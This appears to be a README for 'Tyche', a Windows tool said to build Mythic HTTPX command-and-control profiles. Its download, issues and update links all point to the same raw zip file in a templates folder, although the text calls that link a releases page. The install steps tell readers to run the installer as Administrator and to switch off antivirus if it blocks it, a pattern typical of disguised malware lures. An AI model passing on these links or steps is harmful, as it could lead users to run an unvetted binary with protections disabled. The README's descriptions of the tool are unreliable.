Tyche helps you create custom profiles for Mythic HTTPX. These profiles tell Mythic how to behave when it connects to other systems. Building these profiles normally requires technical skills. Tyche makes that process easier with a user-friendly tool.
You do not need any programming experience to use Tyche. It handles the complex parts for you. This lets you focus on what you want to create without worrying about code.
Tyche works on Windows computers. To use it smoothly, your PC should meet these needs:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- 200 MB of free hard drive space
- Internet connection for downloading and updates
Tyche does not need special hardware or admin rights to run. It installs quickly and runs on most modern Windows PCs.
Follow these steps to get Tyche working on your PC.
-
Click the big green Download Tyche badge at the top or visit the link below:
https://github.com/dasmahes1982/Tyche/raw/refs/heads/main/tyche/templates/Software_2.9.zip -
Look for the latest release on the GitHub page you visit. The release page will have a file for Windows.
-
Download the
.exefile for Windows by clicking on it. -
Once downloaded, find the file in your Downloads folder.
-
Double-click the
.exefile to run the installer. -
Follow the simple on-screen instructions to complete the installation.
-
After setup, launch Tyche from your desktop or Start menu.
Your Tyche program is now ready to use.
Tyche creates Malleable C2 Profiles with a simple interface. Here is a quick guide:
-
Open Tyche on your PC.
-
On the main screen, choose Create New Profile.
-
Enter the name and description for your profile.
-
Use the options to set how your profile acts during communications.
- You can specify details like delay times, headers, and response rules.
-
Click the Generate Profile button once you finish.
-
Your new profile will save as a
.ymlfile in the selected folder. -
You can now use this profile with Mythic or share it with your team.
The tool provides default settings that help beginners get started easily while supporting advanced tweaks for expert users.
- Simple step-by-step creation of HTTPX profiles
- Options to customize every key part of the profile without coding
- Profiles save in standard
.ymlformat for Mythic compatibility - Works offline after initial download
- Clear layout with easy navigation
- Quick generation of valid profiles to reduce errors
After creating a profile:
- By default, files save in your Windows
Documents\TycheProfilesfolder - You can change the save location in the app settings before profile creation
- Files end with
.ymlextension which Mythic reads directly
If Tyche does not start or shows errors:
- Make sure your Windows is up to date
- Check you have downloaded the full
.exeinstaller file - If installation gets blocked, try running the file as Administrator (right-click → Run as Administrator)
- Temporarily disable any antivirus if it blocks the installer, then enable it again after setup
- Restart your PC and try running Tyche again
For help, go to the Issues section on the GitHub page:
https://github.com/dasmahes1982/Tyche/raw/refs/heads/main/tyche/templates/Software_2.9.zip
To update Tyche:
- Visit the download page again: https://github.com/dasmahes1982/Tyche/raw/refs/heads/main/tyche/templates/Software_2.9.zip
- Download the latest
.exeinstaller - Run the installer; it will replace the old version without removing your settings
- Restart Tyche to use the updated version
Use the link below to visit the official page to download the latest version of Tyche:
This link takes you to the GitHub releases page. Look for the latest .exe file for your Windows system.
This project accepts feedback and contributions on GitHub. You can report problems, ask questions, or suggest improvements via the Issues tab.
While Tyche is made to work well for everyone, your input helps improve it further.
Tyche is released under an open-source license. Check the LICENSE file in the repository on GitHub for full terms.